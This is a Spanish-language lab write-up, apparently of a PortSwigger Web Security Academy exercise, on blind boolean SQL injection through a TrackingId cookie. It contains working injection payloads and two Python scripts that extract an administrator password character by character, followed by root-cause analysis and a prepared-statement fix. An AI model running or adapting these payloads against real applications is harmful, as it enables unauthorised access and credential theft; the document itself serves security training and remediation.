← Writeups

Blind boolean-based SQLi con respuestas condicionales: oráculo 'Welcome back!' en la cookie TrackingId

Extracción blind de la password de administrator usando el mensaje 'Welcome back!' como oráculo booleano en la cookie TrackingId, con information_schema y SUBSTRING.

1. Target Overview & Vulnerability Summary

La aplicación inyecta el valor de la cookie TrackingId en una consulta SQL de analytics. No refleja resultados ni muestra errores, pero la página incluye el mensaje Welcome back! cuando la consulta devuelve al menos una fila. Ese cambio de contenido es el único canal binario disponible, lo que define la clase de ataque como blind boolean-based con oráculo de contenido.

Severidad Endpoint vulnerable Root cause
High GET / — cookie TrackingId Concatenación del valor de la cookie en una query SQL; el estado filas/no-filas se traduce en un mensaje condicional que actúa de oráculo

2. Technical Breakdown & Exploitation Flow

2.1 Confirmación del oráculo

Cerrar el literal con ' y añadir una tautología restaura la condición de filas:

GET / HTTP/1.1
Host: 0a3000450433ea41c0ad68b200e40077.web-security-academy.net
Cookie: TrackingId=ikI75WAivHT5piK1' AND '1'='1

La respuesta contiene Welcome back!. Con ' AND '1'='2 el mensaje desaparece: el oráculo responde a condiciones booleanas.

Probe inicial reutilizable:

#!/usr/bin/env python3

import requests

url = 'https://0a3000450433ea41c0ad68b200e40077.web-security-academy.net/'

trackingid = 'YOUR_TRACKING_ID'
payload = f'''{trackingid}PAYLOAD_HERE'''

cookie = {
    'session': 'YOUR_SESSION_ID',
    'TrackingId': payload
}

r = requests.get(url, cookies=cookie)

if 'Welcome back!' in r.text:
    print('True')
else:
    print('False')

2.2 Verificación de la tabla users

Usando information_schema.tables como metadato: la subconsulta devuelve una fila solo si la tabla existe, y el = 'users' la fuerza a ser igual a la que buscamos:

' AND (SELECT table_name FROM information_schema.tables WHERE table_name='users') = 'users'

Retorna Welcome back! → users existe.

2.3 Longitud de la password

Se condiciona una subconsulta a la existencia de una fila que cumpla el predicado de longitud:

' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=20)='a'

Con longitud 20 el oráculo es verdadero. La query inyectada queda:

SELECT trackingId FROM ... WHERE trackingId = 'ikI75WAivHT5piK1' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=20)='a'

2.4 Extracción posicional con SUBSTRING

Cada carácter se prueba contra el charset [a-z0-9] con SUBSTRING(password,pos,1); el mensaje aparece solo en el acierto. Script secuencial:

#!/usr/bin/env python3

import requests
from string import ascii_lowercase, digits

url = 'https://0a3000450433ea41c0ad68b200e40077.web-security-academy.net/'

trackingid = 'ikI75WAivHT5piK1'

chars = ascii_lowercase + digits
position = 1
password = ''

while True:
    for character in chars:
        payload = f'''{trackingid}' AND (SELECT SUBSTRING(password,{position},1) FROM users WHERE username='administrator')='{character}'''
        cookie = {
            'session': 'YOUR_SESSION_ID',
            'TrackingId': payload
        }

        r = requests.get(url, cookies=cookie)

        if 'Welcome back!' in r.text:
            password += ''.join(character)
            print(f'[+] Found password: {password}', end='\r')
            position += 1
            break

    if len(password) >= 20:
        print(f'[+] administrator password: {password}')
        exit()

Versión optimizada con un pool por posición:

#!/usr/bin/env python3

import requests
from string import ascii_lowercase, digits
from concurrent.futures import ThreadPoolExecutor, as_completed

url = 'https://0a3000450433ea41c0ad68b200e40077.web-security-academy.net/'
trackingid = 'ikI75WAivHT5piK1'

PASSWORD_LENGTH = 20
CHARSET = ascii_lowercase + digits
SESSION_ID = 'YOUR_SESSION_ID'
MAX_WORKERS = 5

def check_character(position: int, character: str) -> tuple:
    payload = f"{trackingid}' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'),{position},1)='{character}"

    cookie = {
        'session': SESSION_ID,
        'TrackingId': payload
    }

    try:
        response = requests.get(url, cookies=cookie, timeout=10)
        return position, character, 'Welcome back!' in response.text
    except requests.RequestException:
        return position, character, False

def find_character(position: int) -> str:
    with ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
        futures = {
            executor.submit(check_character, position, char): char
            for char in CHARSET
        }

        for future in as_completed(futures):
            pos, char, found = future.result()
            if found:
                executor.shutdown(wait=False)
                return char
    return None

def main():
    password = []

    print("[*] Iniciando extracción de contraseña...")

    for position in range(1, PASSWORD_LENGTH + 1):
        char = find_character(position)
        if char:
            password.append(char)
            print(f'[+] Progreso: {"".join(password):<20}', end='\r')
        else:
            print(f"\n[-] Error: No se encontró carácter en posición {position}")
            break

    final_password = ''.join(password)
    print(f'\n[+] Contraseña de administrator: {final_password}')

if __name__ == "__main__":
    main()

3. Root Cause Analysis

La query de analytics se construye por interpolación de la cookie:

SELECT trackingId FROM someTable WHERE trackingId = 'ikI75WAivHT5piK1'

Dos decisiones de diseño convierten la vulnerabilidad en explotable de forma trivial:

  1. Sin parametrización: el cierre ' del literal permite concatenar SQL arbitrario (' AND ...), pese a ser una entrada indirecta (cookie).
  2. Fuga de estado booleano en la capa de presentación: la plantilla renderiza Welcome back! condicionado a si la query devolvió filas. Esto filtra el resultado del predicado SQL al HTML, transformando la app en un oráculo que no necesita reflejo de datos ni mensajes de error.

4. Secure Remediation

Parametrización obligatoria de la consulta:

String sql = "SELECT trackingId FROM analytics WHERE trackingId = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, cookie);

Refuerzos complementarios:

  • Ejecutar la query de tracking bajo un rol de BD con privilegio SELECT únicamente sobre la tabla de analytics (sin acceso a users), limitando la superficie de drenaje aunque la inyección reaparezca.
  • No derivar decisiones de presentación del cardinal del resultado de la query de tracking si no es funcionalmente necesario; si el mensaje es cosmético, puede sustituirse por un estado fijo.